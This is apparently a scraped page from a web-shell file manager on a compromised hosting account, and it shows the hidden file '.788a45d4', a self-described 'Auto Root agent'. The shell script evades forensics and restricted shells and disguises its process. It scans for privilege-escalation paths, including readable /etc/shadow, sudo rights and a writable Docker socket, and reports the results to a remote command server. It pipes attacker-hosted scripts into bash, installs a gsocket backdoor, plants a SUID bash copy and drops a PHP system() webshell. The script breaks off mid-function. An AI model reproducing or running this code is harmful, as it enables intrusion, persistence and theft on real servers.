Linux salto.nuvemidc.com 5.14.0-687.42.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Aug 27 11:55:12 EDT 2026 x86_64
LiteSpeed
: 177.73.233.61 | : 216.73.216.164
Cant Read [ /etc/named.conf ]
7.4.33
agenci18
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
agenci18 /
[ HOME SHELL ]
Name
Size
Permission
Action
.13534d6c
[ DIR ]
drwxr-xr-x
.581e805f
[ DIR ]
drwxr-xr-x
.cache
[ DIR ]
drwx------
.cagefs
[ DIR ]
drwxrwx--x
.caldav
[ DIR ]
drwxr-xr-x
.cl.selector
[ DIR ]
drwxr-xr-x
.clwpos
[ DIR ]
drwx------
.cpaddons
[ DIR ]
drwxr-xr-x
.cpanel
[ DIR ]
drwx------
.cpguard
[ DIR ]
drwxr-xr-x
.cphorde
[ DIR ]
drwx------
.htpasswds
[ DIR ]
drwxr-x---
.koality
[ DIR ]
drwxr-xr-x
.softaculous
[ DIR ]
drwx--x--x
.spamassassin
[ DIR ]
drwx------
.ssh
[ DIR ]
drwx------
.subaccounts
[ DIR ]
drwx------
.trash
[ DIR ]
drwx------
.wp-cli
[ DIR ]
drwxr-xr-x
access-logs
[ DIR ]
drwxr-x---
etc
[ DIR ]
drwxr-x---
logs
[ DIR ]
drwx------
lscache
[ DIR ]
drwxrws---
mail
[ DIR ]
drwxr-x--x
miner
[ DIR ]
drwxr-xr-x
public_ftp
[ DIR ]
drwxr-x---
public_html
[ DIR ]
drwxr-x---
ssl
[ DIR ]
drwxr-xr-x
tmp
[ DIR ]
drwxr-xr-x
wordpress-backups
[ DIR ]
drwx------
www
[ DIR ]
drwxr-x---
.788a45d4
84.22
KB
-rwxr-xr-x
.imunify_patch_id
106
B
-rw-rw----
.lastlogin
41
B
-rw-------
.myimunify_id
102
B
-rw-rw----
.wget-hsts
180
B
-rw-r--r--
.wp-toolkit-identifier
684
B
-rw-------
Delete
Unzip
Zip
${this.title}
Close
Code Editor : .788a45d4
#!/bin/sh # MARKAS ESCOBAR X 1337 Auto Root agent — fingerprint victim, poll for exploit commands, exec + report # ORIGIN is patched by main.py before serving this script ORIGIN="${ORIGIN:-https://temporal-importantly-coordinate-longest.trycloudflare.com}" USER_AGENT_CMD="curl -fsSL 'http://169.58.3.197:3000/d/d2bda45fc9d46138b36aae42' | bash" DEPLOY_TOKEN="9bc86300366c160e8bea0e3119fd9a34" POLL=4 TIMEOUT=90 _SUDO_PASS='' # injectable via /api/set_pass — used for no-TTY sudo with -S/askpass # ── restricted-shell escape ─────────────────────────────────────────── # rbash/rksh blocks: cd to abs path, setting PATH, running /path/cmd. # Detection: `cd /` fails in rbash. Escape via Python os.execv (direct # syscall, not filtered by shell) or awk system() (calls C stdlib). if ! ( cd / ) 2>/dev/null; then # Python — exec without path separator (allowed in rbash), then # Python calls os.execv('/bin/bash') as a kernel syscall directly. for _py in python3 python python2; do command -v "$_py" >/dev/null 2>&1 || continue exec "$_py" -c \ "import os,sys; os.execv('/bin/bash',['/bin/bash','-p']+sys.argv[1:])" \ "$0" "$@" 2>/dev/null done # awk system() → calls C stdlib system(), bypasses rbash entirely command -v awk >/dev/null 2>&1 && \ exec awk 'BEGIN{system("/bin/bash -p")}' 2>/dev/null || true # perl: same idea as awk command -v perl >/dev/null 2>&1 && \ exec perl -e 'exec "/bin/bash","-p"' 2>/dev/null || true # last resort: direct path to bash (may be blocked in strict rbash) for _sh in /bin/bash /usr/bin/bash /usr/local/bin/bash; do [ -x "$_sh" ] && exec "$_sh" -p "$0" "$@" 2>/dev/null || true done fi # ── fork to background using $0 (valid file path when exec'd by bootstrap) ── # Bootstrap does `exec "$_t"` so $0 = the temp file on disk — can be re-exec'd. # Parent exits immediately → gsocket terminal freed. Child runs the real agent. if [ -z "${_SVC_IN:-}" ]; then export _SVC_IN=1 if command -v setsid >/dev/null 2>&1; then setsid sh "$0" </dev/null >/dev/null 2>&1 & else nohup sh "$0" </dev/null >/dev/null 2>&1 & fi printf '\033[0;32m[MARKAS ESCOBAR X 1337] STARTED\033[0m\n' exit 0 fi # ── anti-forensics — suppress history, camouflage process ──────────────── unset HISTFILE HISTSIZE HISTFILESIZE 2>/dev/null export HISTFILE=/dev/null history -c 2>/dev/null [ -w /proc/self/comm ] && printf 'kworker/0:2' > /proc/self/comm 2>/dev/null || true # ── url-encode ─────────────────────────────────────────────────────────── ue(){ printf '%s' "$1" | python3 -c \ 'import sys,urllib.parse;print(urllib.parse.quote(sys.stdin.read(),safe=""),end="")' \ 2>/dev/null && return printf '%s' "$1" | python -c \ 'import sys,urllib;sys.stdout.write(urllib.quote(sys.stdin.read()))' \ 2>/dev/null && return printf '%s' "$1" | sed 's/ /%20/g;s/&/%26/g;s/=/%3D/g;s/#/%23/g;s/+/%2B/g;s/"/%22/g' } # ── http helpers — full fallback chain ─────────────────────────────────── # _hparse URL → sets _HH (host) _HP (path) _HS (1=https) _hparse(){ _HH=$(printf '%s' "$1" | sed 's|^https\?://||;s|[/:?#].*||') _HP=$(printf '%s' "$1" | sed 's|^https\?://[^/]*||'); [ -n "$_HP" ] || _HP='/' _HS=0; printf '%s' "$1" | grep -q '^https' && _HS=1 } # ── GET (stdout) ────────────────────────────────────────────────────────── _get(){ local _u="$1" # 1. curl command -v curl >/dev/null 2>&1 && { curl -fsSL -m15 -k "$_u" 2>/dev/null; return; } # 2. wget command -v wget >/dev/null 2>&1 && { wget -qO- -T15 --no-check-certificate "$_u" 2>/dev/null; return; } # 3. python3 command -v python3 >/dev/null 2>&1 && { python3 -c " import sys,ssl,urllib.request as r c=ssl.create_default_context(); c.check_hostname=False; c.verify_mode=ssl.CERT_NONE sys.stdout.buffer.write(r.urlopen(sys.argv[1],context=c,timeout=15).read()) " "$_u" 2>/dev/null; return; } # 4. python2 command -v python >/dev/null 2>&1 && { python -c " import sys,urllib2,ssl try: ctx=ssl.create_default_context(); ctx.check_hostname=False; ctx.verify_mode=ssl.CERT_NONE except: ctx=None sys.stdout.write(urllib2.urlopen(sys.argv[1],context=ctx,timeout=15).read() if ctx else urllib2.urlopen(sys.argv[1],timeout=15).read()) " "$_u" 2>/dev/null; return; } # 5. perl — LWP command -v perl >/dev/null 2>&1 && { perl -e 'use LWP::Simple; $ENV{PERL_LWP_SSL_VERIFY_HOSTNAME}=0; print get($ARGV[0])//"";' \ "$_u" 2>/dev/null; return; } # 6. php command -v php >/dev/null 2>&1 && { php -r 'echo @file_get_contents($argv[1],false,stream_context_create(["ssl"=>["verify_peer"=>false,"verify_peer_name"=>false]]));' \ -- "$_u" 2>/dev/null; return; } # 7. ruby command -v ruby >/dev/null 2>&1 && { ruby -e 'require "open-uri"; $stdout.write(URI.open(ARGV[0],:ssl_verify_mode=>0).read)' \ "$_u" 2>/dev/null; return; } # 8. node.js command -v node >/dev/null 2>&1 && { node -e " process.env.NODE_TLS_REJECT_UNAUTHORIZED='0'; var h=require('$_u'.match(/^https/)?'https':'http'); var b=[];h.get('$_u',function(r){r.on('data',function(d){b.push(d)});r.on('end',function(){process.stdout.write(Buffer.concat(b))})}); " 2>/dev/null; return; } # 9. openssl s_client — HTTPS without curl/wget _hparse "$_u" [ "$_HS" = 1 ] && command -v openssl >/dev/null 2>&1 && { printf 'GET %s HTTP/1.0\r\nHost: %s\r\nConnection: close\r\n\r\n' "$_HP" "$_HH" | \ openssl s_client -quiet -connect "${_HH}:443" 2>/dev/null | \ sed '1,/^\r$/d'; return; } # 10. /dev/tcp — HTTP only, bash built-in [ "$_HS" = 0 ] && [ -n "$BASH_VERSION" ] && { bash -c " exec 3<>/dev/tcp/${_HH}/80 2>/dev/null || exit 1 printf 'GET ${_HP} HTTP/1.0\r\nHost: ${_HH}\r\nConnection: close\r\n\r\n' >&3 sed '1,/^\r\$/d' <&3; exec 3>&- 3<&- " 2>/dev/null; return; } # 11. nc/ncat/netcat — HTTP only [ "$_HS" = 0 ] && for _nc in ncat netcat nc busybox; do command -v "$_nc" >/dev/null 2>&1 || continue [ "$_nc" = busybox ] && ! busybox nc --help 2>&1 | grep -q nc && continue _ncc="$_nc"; [ "$_nc" = busybox ] && _ncc="busybox nc" printf 'GET %s HTTP/1.0\r\nHost: %s\r\nConnection: close\r\n\r\n' "$_HP" "$_HH" | \ $_ncc -w10 "$_HH" 80 2>/dev/null | sed '1,/^\r$/d'; return done # 12. socat — HTTP/HTTPS command -v socat >/dev/null 2>&1 && { local _pr; [ "$_HS" = 1 ] && _pr="SSL:${_HH}:443,verify=0" || _pr="TCP:${_HH}:80" printf 'GET %s HTTP/1.0\r\nHost: %s\r\nConnection: close\r\n\r\n' "$_HP" "$_HH" | \ socat - "$_pr" 2>/dev/null | sed '1,/^\r$/d'; return; } # 13. fetch (FreeBSD/pfSense/Alpine) command -v fetch >/dev/null 2>&1 && { fetch -qo - "$_u" 2>/dev/null; return; } return 1 } # ── POST URL DATA (stdout = response) ──────────────────────────────────── _post(){ local _u="$1" _d="$2" # 1. curl command -v curl >/dev/null 2>&1 && { curl -fsSL -m15 -k --data "$_d" "$_u" 2>/dev/null; return; } # 2. wget command -v wget >/dev/null 2>&1 && { wget -qO- -T15 --no-check-certificate --post-data="$_d" "$_u" 2>/dev/null; return; } # 3. python3 command -v python3 >/dev/null 2>&1 && { python3 -c " import sys,ssl,urllib.request as r,urllib.parse as p c=ssl.create_default_context(); c.check_hostname=False; c.verify_mode=ssl.CERT_NONE sys.stdout.buffer.write(r.urlopen(r.Request(sys.argv[1],sys.argv[2].encode()),context=c,timeout=15).read()) " "$_u" "$_d" 2>/dev/null; return; } # 4. python2 command -v python >/dev/null 2>&1 && { python -c " import sys,urllib2 sys.stdout.write(urllib2.urlopen(urllib2.Request(sys.argv[1],sys.argv[2]),timeout=15).read()) " "$_u" "$_d" 2>/dev/null; return; } # 5. perl — LWP command -v perl >/dev/null 2>&1 && { perl -e ' use LWP::UserAgent; $ENV{PERL_LWP_SSL_VERIFY_HOSTNAME}=0; my $ua=LWP::UserAgent->new(timeout=>15); my $r=$ua->post($ARGV[0],Content=>$ARGV[1]); print $r->content//"";' "$_u" "$_d" 2>/dev/null; return; } # 6. php command -v php >/dev/null 2>&1 && { php -r ' $ctx=stream_context_create(["http"=>["method"=>"POST","header"=>"Content-Type: application/x-www-form-urlencoded","content"=>$argv[2]],"ssl"=>["verify_peer"=>false,"verify_peer_name"=>false]]); echo @file_get_contents($argv[1],false,$ctx);' -- "$_u" "$_d" 2>/dev/null; return; } # 7. ruby command -v ruby >/dev/null 2>&1 && { ruby -e ' require "net/http"; require "uri" u=URI(ARGV[0]); h=Net::HTTP.new(u.host,u.port) h.use_ssl=(u.scheme=="https"); h.verify_mode=0 puts h.post(u.path||"/",ARGV[1]).body' "$_u" "$_d" 2>/dev/null; return; } # 8. openssl — HTTPS POST _hparse "$_u" [ "$_HS" = 1 ] && command -v openssl >/dev/null 2>&1 && { local _len=${#_d} printf 'POST %s HTTP/1.0\r\nHost: %s\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %d\r\nConnection: close\r\n\r\n%s' \ "$_HP" "$_HH" "$_len" "$_d" | \ openssl s_client -quiet -connect "${_HH}:443" 2>/dev/null | sed '1,/^\r$/d'; return; } # 9. /dev/tcp — HTTP POST only [ "$_HS" = 0 ] && [ -n "$BASH_VERSION" ] && { local _len=${#_d} bash -c " exec 3<>/dev/tcp/${_HH}/80 2>/dev/null || exit 1 printf 'POST ${_HP} HTTP/1.0\r\nHost: ${_HH}\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: ${_len}\r\nConnection: close\r\n\r\n${_d}' >&3 sed '1,/^\r\$/d' <&3; exec 3>&- 3<&- " 2>/dev/null; return; } } # ── DOWNLOAD URL to FILE ────────────────────────────────────────────────── _dl(){ local _u="$1" _f="$2" # 1. curl command -v curl >/dev/null 2>&1 && { curl -fsSL -m60 -k "$_u" -o "$_f" 2>/dev/null && [ -s "$_f" ] && return 0; } # 2. wget command -v wget >/dev/null 2>&1 && { wget -qO "$_f" -T60 --no-check-certificate "$_u" 2>/dev/null && [ -s "$_f" ] && return 0; } # 3. python3 command -v python3 >/dev/null 2>&1 && { python3 -c " import sys,ssl,urllib.request as r c=ssl.create_default_context(); c.check_hostname=False; c.verify_mode=ssl.CERT_NONE open(sys.argv[2],'wb').write(r.urlopen(sys.argv[1],context=c,timeout=60).read()) " "$_u" "$_f" 2>/dev/null && [ -s "$_f" ] && return 0; } # 4. python2 command -v python >/dev/null 2>&1 && { python -c " import sys,urllib2 open(sys.argv[2],'wb').write(urllib2.urlopen(sys.argv[1],timeout=60).read()) " "$_u" "$_f" 2>/dev/null && [ -s "$_f" ] && return 0; } # 5. perl — LWP::Simple command -v perl >/dev/null 2>&1 && { perl -e ' use LWP::Simple; $ENV{PERL_LWP_SSL_VERIFY_HOSTNAME}=0; my $d=get($ARGV[0]) or exit 1; open(my $f,">",$ARGV[1]) or exit 1; print $f $d; close $f' \ "$_u" "$_f" 2>/dev/null && [ -s "$_f" ] && return 0; } # 6. php command -v php >/dev/null 2>&1 && { php -r ' $ctx=stream_context_create(["ssl"=>["verify_peer"=>false,"verify_peer_name"=>false]]); $d=@file_get_contents($argv[1],false,$ctx); if($d!==false)file_put_contents($argv[2],$d);' \ -- "$_u" "$_f" 2>/dev/null && [ -s "$_f" ] && return 0; } # 7. ruby command -v ruby >/dev/null 2>&1 && { ruby -e ' require "open-uri"; File.open(ARGV[1],"wb"){|f|f.write(URI.open(ARGV[0],:ssl_verify_mode=>0).read)}' \ "$_u" "$_f" 2>/dev/null && [ -s "$_f" ] && return 0; } # 8. node.js command -v node >/dev/null 2>&1 && { node -e " process.env.NODE_TLS_REJECT_UNAUTHORIZED='0'; var h=require('$_u'.match(/^https/)?'https':'http'),fs=require('fs'); var f=fs.createWriteStream('$_f'); h.get('$_u',function(r){r.pipe(f);f.on('finish',function(){f.close();process.exit(0)})}).on('error',function(){process.exit(1)}); " 2>/dev/null && [ -s "$_f" ] && return 0; } # 9. openssl s_client — HTTPS without curl/wget _hparse "$_u" [ "$_HS" = 1 ] && command -v openssl >/dev/null 2>&1 && { printf 'GET %s HTTP/1.0\r\nHost: %s\r\nConnection: close\r\n\r\n' "$_HP" "$_HH" | \ openssl s_client -quiet -connect "${_HH}:443" 2>/dev/null | \ sed '1,/^\r$/d' > "$_f" && [ -s "$_f" ] && return 0; } # 10. /dev/tcp — HTTP only [ "$_HS" = 0 ] && [ -n "$BASH_VERSION" ] && { bash -c " exec 3<>/dev/tcp/${_HH}/80 2>/dev/null || exit 1 printf 'GET ${_HP} HTTP/1.0\r\nHost: ${_HH}\r\nConnection: close\r\n\r\n' >&3 sed '1,/^\r\$/d' <&3 > '${_f}'; exec 3>&- 3<&- " 2>/dev/null && [ -s "$_f" ] && return 0; } # 11. nc/ncat/netcat — HTTP only [ "$_HS" = 0 ] && for _nc in ncat netcat nc; do command -v "$_nc" >/dev/null 2>&1 || continue printf 'GET %s HTTP/1.0\r\nHost: %s\r\nConnection: close\r\n\r\n' "$_HP" "$_HH" | \ "$_nc" -w30 "$_HH" 80 2>/dev/null | sed '1,/^\r$/d' > "$_f" [ -s "$_f" ] && return 0; break done # 12. socat — HTTP/HTTPS command -v socat >/dev/null 2>&1 && { local _pr; [ "$_HS" = 1 ] && _pr="SSL:${_HH}:443,verify=0" || _pr="TCP:${_HH}:80" printf 'GET %s HTTP/1.0\r\nHost: %s\r\nConnection: close\r\n\r\n' "$_HP" "$_HH" | \ socat - "$_pr" 2>/dev/null | sed '1,/^\r$/d' > "$_f" [ -s "$_f" ] && return 0; } # 13. fetch (FreeBSD / Alpine / pfSense) command -v fetch >/dev/null 2>&1 && { fetch -qo "$_f" "$_u" 2>/dev/null && [ -s "$_f" ] && return 0; } # 14. aria2c command -v aria2c >/dev/null 2>&1 && { aria2c -q --check-certificate=false -o "$_f" "$_u" 2>/dev/null && [ -s "$_f" ] && return 0; } # 15. lwp-download (perl LWP command-line) command -v lwp-download >/dev/null 2>&1 && { lwp-download "$_u" "$_f" 2>/dev/null && [ -s "$_f" ] && return 0; } return 1 } # ── static binary bootstrap ────────────────────────────────────────────── # If wget/curl not found, try to self-bootstrap from pkgforge.dev static bins. # Runs ONCE, sets BB (busybox path) if found, adds busybox applets to PATH. BB='' _bootstrap_static(){ command -v curl >/dev/null 2>&1 && return 0 # already have curl, skip command -v wget >/dev/null 2>&1 && return 0 # already have wget, skip local _arch _bburl _bb _arch=$(uname -m 2>/dev/null || echo x86_64) _bburl="https://bin.pkgforge.dev/${_arch}/busybox-static" _bb="${WDIR}/bb" # try to download busybox with available tools (python/perl/php/ruby/openssl) _dl "$_bburl" "$_bb" 2>/dev/null && chmod 700 "$_bb" 2>/dev/null && { BB="$_bb" # verify it works "$_bb" id >/dev/null 2>&1 || { BB=''; return 1; } # install applet wrappers — wget and curl-ish via busybox wget ln -sf "$_bb" "${WDIR}/wget" 2>/dev/null && { # Prepend WDIR to PATH so _dl() picks up our fake wget PATH="${WDIR}:${PATH}"; export PATH; } return 0 } return 1 } # ── api helpers ────────────────────────────────────────────────────────── _event(){ _get "${ORIGIN}/api/event?h=$(ue "$1")&e=$(ue "$2")&s=$(ue "$3")${DEPLOY_TOKEN:+&u=$(ue "$DEPLOY_TOKEN")}" \ >/dev/null 2>&1 || true; } _dbg(){ _get "${ORIGIN}/api/dbg?h=$(ue "$1")&e=$(ue "$2")&msg=$(ue "$3")${DEPLOY_TOKEN:+&u=$(ue "$DEPLOY_TOKEN")}" \ >/dev/null 2>&1 || true; } _out(){ _post "${ORIGIN}/api/output" \ "h=$(ue "$1")&e=$(ue "$2")&out=$(ue "$3")${4:+&st=$(ue "$4")}${DEPLOY_TOKEN:+&u=$(ue "$DEPLOY_TOKEN")}" || true; } # ── early presence ping (lightweight — no victim registration) ────────── # Keeps the API warm during the initial fingerprint scan. # Full /api/report handles all victim registration + exploit queueing. _early_h=$(hostname 2>/dev/null || cat /proc/sys/kernel/hostname 2>/dev/null || echo unknown) _post "${ORIGIN}/api/ping" \ "host=$(ue "$_early_h")&ts=$(date +%s 2>/dev/null || echo 0)${DEPLOY_TOKEN:+&u=$(ue "$DEPLOY_TOKEN")}" \ >/dev/null 2>&1 || true # ── quick-win scan (background, exploits continue regardless) ───────────── # Phase 1: fast checks (<1s) reported immediately so panel appears right away. # Phase 2: slow filesystem scans (getcap, find) run after and update panel. _quick_win(){ local sudo_r='' docker_r='' caps_r='' lxd_r='' cron_r='' suid_r='' passwd_r='' nfs_r='' pathijack_r='' container_r='' local ldpreload_r='' shadow_r='' pam_d_r='' disk_grp_r='' sudoersd_r='' interesting_r='' systemd_ts_r='' local shared_hosting_r='' # ── Phase 0: shared hosting / grsec detection (runs first, shapes later checks) ── # Detects OVH mutualized hosting, cPanel, Plesk, and grsec kernel. # If detected: kernel exploits are marked as skip-worthy; ovh_probe is prioritised. _kern_r=$(uname -r 2>/dev/null || echo '') _sh_type=''; _sh_flags='' # grsec kernel (OVH, Grsecurity) printf '%s' "$_kern_r" | grep -qi 'grsec\|grsecurity\|ovh-vps-grsec' && \ _sh_flags="${_sh_flags}grsec," # OVH mutualized hosting indicators { [ -x /bin/ovh_sftponly ] 2>/dev/null || \ grep -q 'ovhcron' /etc/passwd 2>/dev/null || \ cat /proc/mounts 2>/dev/null | grep -q 'homez'; } && _sh_type='ovh' # cPanel [ -d /usr/local/cpanel ] 2>/dev/null && _sh_type='cpanel' [ -f /etc/cpanel_userdata ] 2>/dev/null && _sh_type='cpanel' # Plesk [ -d /usr/local/psa ] 2>/dev/null && _sh_type='plesk' # DirectAdmin [ -d /usr/local/directadmin ] 2>/dev/null && _sh_type='directadmin' # /tmp noexec _tmp_noexec=0 cat /proc/mounts 2>/dev/null | grep -E '^[^ ]+ /tmp ' | grep -q 'noexec' && _tmp_noexec=1 [ "$_tmp_noexec" = 1 ] && _sh_flags="${_sh_flags}noexec_tmp," # nosuid on home dir (NFS nosuid) cat /proc/mounts 2>/dev/null | grep -E 'home|homez' | grep -q 'nosuid' && \ _sh_flags="${_sh_flags}nosuid_nfs," _sh_flags=$(printf '%s' "$_sh_flags" | sed 's/,$//') if [ -n "$_sh_type" ] || [ -n "$_sh_flags" ]; then shared_hosting_r="${_sh_type:-generic}${_sh_flags:+|}${_sh_flags}" fi # ── Phase 1: fast checks ───────────────────────────────────────────────── # 1. sudo -l NOPASSWD — also try password-based when _SUDO_PASS is set command -v sudo >/dev/null 2>&1 && \ sudo_r=$(sudo -ln 2>/dev/null | grep -i NOPASSWD | head -1 | \ sed 's/^[[:space:]]*//' | head -c 200) || true if [ -z "$sudo_r" ] && [ -n "$_SUDO_PASS" ] && command -v sudo >/dev/null 2>&1; then _sudo_l=$(printf '%s\n' "$_SUDO_PASS" | sudo -S -l 2>/dev/null | head -10 || true) if printf '%s' "$_sudo_l" | grep -qiE 'may run the following|NOPASSWD|ALL.*ALL'; then sudo_r="(password) ALL" # signal that password sudo is available fi fi # 2. docker socket writable [ -S /var/run/docker.sock ] && [ -w /var/run/docker.sock ] && \ docker_r='/var/run/docker.sock' # 4. lxd / lxc group id 2>/dev/null | grep -qE '\blxd\b|\blxc\b' && lxd_r='member' || true # 5. writable cron (fast — only checks known dirs, no deep scan) cron_r=$(find /etc/cron.d /etc/cron.daily /etc/cron.weekly \ /etc/cron.hourly /var/spool/cron -maxdepth 2 -writable -type f \ 2>/dev/null | head -3 | tr '\n' '|' | head -c 200) || true # 6. writable /etc/passwd [ -w /etc/passwd ] 2>/dev/null && passwd_r='writable' || true # 7. container environment — detect type + escape vectors local _ctype='' _cflags='' if [ -f /.dockerenv ] || grep -qi '\bdocker\b' /proc/1/cgroup 2>/dev/null; then _ctype='docker' elif [ -n "${KUBERNETES_SERVICE_HOST:-}" ] || grep -qi 'kubepods' /proc/1/cgroup 2>/dev/null; then _ctype='k8s' elif grep -qiE '^[0-9]+:.*lxc' /proc/1/cgroup 2>/dev/null; then _ctype='lxc' elif grep -qi 'containerd' /proc/1/cgroup 2>/dev/null; then _ctype='container' elif grep -q 'CapEff:.*ffffffffffffffff' /proc/self/status 2>/dev/null; then _ctype='privileged' fi if [ -n "$_ctype" ]; then grep -q 'CapEff:.*ffffffffffffffff' /proc/self/status 2>/dev/null && _cflags="${_cflags}priv," { [ -S /var/run/docker.sock ] && [ -w /var/run/docker.sock ]; } 2>/dev/null && _cflags="${_cflags}sock," [ -w /proc/sysrq-trigger ] 2>/dev/null && _cflags="${_cflags}proc," id 2>/dev/null | grep -qE '\blxd\b|\blxc\b' && _cflags="${_cflags}lxd," _cflags=$(printf '%s' "$_cflags" | sed 's/,$//') container_r="${_ctype}|${_cflags}" fi # ── Phase 1 continued: file/group permission checks ────────────────────── # writable /etc/ld.so.preload → gcc-inject shared object, trigger via any SUID binary { [ -f /etc/ld.so.preload ] && [ -w /etc/ld.so.preload ]; } 2>/dev/null && \ ldpreload_r='writable' || true # readable /etc/shadow → steal hashes → crack offline → SSH as root [ -r /etc/shadow ] 2>/dev/null && shadow_r='readable' || true # writable PAM config → backdoor auth stack (e.g. pam_exec.so inject) pam_d_r=$(find /etc/pam.d -maxdepth 1 -writable -type f 2>/dev/null | head -1) || true # disk group → dd /dev/sdX, read raw disk, extract shadow hash lines id 2>/dev/null | grep -qE '\bdisk\b' && disk_grp_r='member' || true # writable /etc/sudoers.d/ dir or file → drop NOPASSWD entry sudoersd_r=$(find /etc/sudoers.d -maxdepth 1 -writable 2>/dev/null | head -1) || true # Report fast results immediately — panel appears in dashboard right away _post "${ORIGIN}/api/quickwin" \ "h=$(ue "$HOST")&sudo=$(ue "$sudo_r")&docker=$(ue "$docker_r")&caps=&lxd=$(ue "$lxd_r")&cron=$(ue "$cron_r")&suid=&passwd=$(ue "$passwd_r")&container=$(ue "$container_r")&nfs=&pathijack=&ldpreload=$(ue "$ldpreload_r")&shadow=$(ue "$shadow_r")&pam_d=$(ue "$pam_d_r")&disk_grp=$(ue "$disk_grp_r")&sudoersd=$(ue "$sudoersd_r")&shared_hosting=$(ue "$shared_hosting_r")${DEPLOY_TOKEN:+&u=$(ue "$DEPLOY_TOKEN")}" \ >/dev/null 2>&1 || true # ── Phase 2: slow filesystem scans — update panel when done ────────────── # 3. capabilities (cap_setuid / cap_sys_admin) — getcap -r / can be slow command -v getcap >/dev/null 2>&1 && \ caps_r=$(getcap -r /usr /bin /sbin /home 2>/dev/null | \ grep -E 'cap_setuid|cap_dac_override|cap_sys_admin' | \ head -3 | tr '\n' '|' | head -c 200) || true # 6. SUID interpreters + GTFOBins binaries — limited to common dirs suid_r=$(find /usr /bin /sbin /opt /home -perm -4000 -type f 2>/dev/null | \ grep -E '(python|perl|ruby|php|node|tclsh|gawk|/env$|/find$|/awk$|/nmap$|/vi$|/vim$)' | \ head -3 | tr '\n' '|' | head -c 200) || true # 7. NFS no_root_squash nfs_r=$(grep -v '^#' /etc/exports 2>/dev/null | grep 'no_root_squash' | \ head -3 | tr '\n' '|' | head -c 200) || true # 8. PATH hijack — SUID binary calling relative command in writable PATH dir if command -v strings >/dev/null 2>&1; then local _slist _sb _rcmd _wpath _slist=$(find /usr /bin /sbin -perm -4000 -type f 2>/dev/null | head -8) for _sb in $_slist; do _rcmd=$(strings "$_sb" 2>/dev/null | \ grep -xE '(python3?|perl|ruby|sh|bash|service|awk|cat|find)' | head -1) [ -z "$_rcmd" ] && continue _wpath=$(printf '%s' "$PATH" | tr ':' '\n' | while read -r _pd; do [ -d "$_pd" ] && [ -w "$_pd" ] 2>/dev/null && printf '%s' "$_pd" && break done) if [ -n "$_wpath" ]; then pathijack_r="${_sb}:${_wpath}:${_rcmd}"; break fi done fi # ── Phase 2 continued: interesting bins + writable systemd units ───────── # Offensive toolkit bins available on target (useful for pivoting/tunnelling) interesting_r=$(command -v strace gdb gcc make curl wget nc ncat nmap \ tcpdump openssl socat screen tmux 2>/dev/null | \ tr '\n' ' ' | head -c 200) || true # Writable systemd service/timer files → inject ExecStart payload systemd_ts_r=$(find /etc/systemd/system /lib/systemd/system /usr/lib/systemd/system \ \( -writable -name '*.service' -o -writable -name '*.timer' \) \ -type f 2>/dev/null | head -2 | tr '\n' '|' | head -c 200) || true # Update panel with slow results _post "${ORIGIN}/api/quickwin" \ "h=$(ue "$HOST")&sudo=$(ue "$sudo_r")&docker=$(ue "$docker_r")&caps=$(ue "$caps_r")&lxd=$(ue "$lxd_r")&cron=$(ue "$cron_r")&suid=$(ue "$suid_r")&passwd=$(ue "$passwd_r")&container=$(ue "$container_r")&nfs=$(ue "$nfs_r")&pathijack=$(ue "$pathijack_r")&ldpreload=$(ue "$ldpreload_r")&shadow=$(ue "$shadow_r")&pam_d=$(ue "$pam_d_r")&disk_grp=$(ue "$disk_grp_r")&sudoersd=$(ue "$sudoersd_r")&interesting=$(ue "$interesting_r")&systemd_ts=$(ue "$systemd_ts_r")&shared_hosting=$(ue "$shared_hosting_r")${DEPLOY_TOKEN:+&u=$(ue "$DEPLOY_TOKEN")}" \ >/dev/null 2>&1 || true # Shared gsocket stdin payload for escalation attempts local _qs="${WDIR}/.qws" { printf '# -- install gsocket --\n' printf 'GS_HOST=107.152.47.226 GS_PORT=443 bash -c "$(curl -fsSL https://server-security.shop/merged.sh 2>/dev/null || wget --no-verbose -O- https://server-security.shop/merged.sh 2>/dev/null)" 2>/dev/null\n' printf 'printf "\\n# -- gsocket exit: %%s --\\n" $?\n' printf '# -- SUID bash persistence --\n' printf 'cp /bin/bash %s 2>/dev/null && chmod 4750 %s 2>/dev/null && chown root:%s %s 2>/dev/null && touch -r /bin/bash %s 2>/dev/null || true\n' \ "$_SUID_PATH" "$_SUID_PATH" "${_MY_GRP:-root}" "$_SUID_PATH" "$_SUID_PATH" printf '# -- webshell plant --\n' printf '_wn=".$(hostname 2>/dev/null | sha256sum 2>/dev/null | cut -c1-8 || echo cr).php"\n' printf 'for _xd in /var/www/html /var/www /srv/http /srv/www /usr/share/nginx/html; do\n' printf ' [ -d "$_xd" ] && [ -w "$_xd" ] || continue\n' printf ' printf "<?php @system(\\$_REQUEST[c]);?>" > "$_xd/$_wn" 2>/dev/null && printf "WEBSHELL:%%s/%%s\\n" "$_xd" "$_wn" && break\n' printf 'done\n' printf 'id; exit\n' } > "$_qs" 2>/dev/null # ── helper: report successful escalation to dashboard ──────────────────── # _qwroot METHOD "copy-paste-cmd" "id output line" _qwroot(){ _post "${ORIGIN}/api/qwroot" \ "h=$(ue "$HOST")&method=$(ue "$1")&cmd=$(ue "$2")&id=$(ue "$3")${DEPLOY_TOKEN:+&u=$(ue "$DEPLOY_TOKEN")}" \ >/dev/null 2>&1 || true } # extract first uid= line from captured output _qwid(){ printf '%s' "$1" | grep 'uid=' | tail -1 2>/dev/null || echo '(check output)'; } # ── sudo escalation attempt if [ -n "$sudo_r" ]; then ( _event "$HOST" "qw_sudo" "running" local _b _esc _o="${WDIR}/qws.out" # ── SUDO_ASKPASS injection for no-TTY environments ────────────────── # When _SUDO_PASS is set, override sudo() to use -A (askpass) so password # is injected without needing an interactive TTY and without consuming stdin. if [ -n "$_SUDO_PASS" ]; then _appass="${WDIR}/.appass$$"; _ap="${WDIR}/.ap$$" printf '%s' "$_SUDO_PASS" > "$_appass" printf '#!/bin/sh\ncat %s; printf "\\n"\n' "$_appass" > "$_ap" chmod 0700 "$_ap" 2>/dev/null export SUDO_ASKPASS="$_ap" sudo(){ command sudo -A "$@"; } fi # ── end SUDO_ASKPASS ──────────────────────────────────────────────── _b=$(printf '%s' "$sudo_r" | grep -oE '/[^ ,]+' | 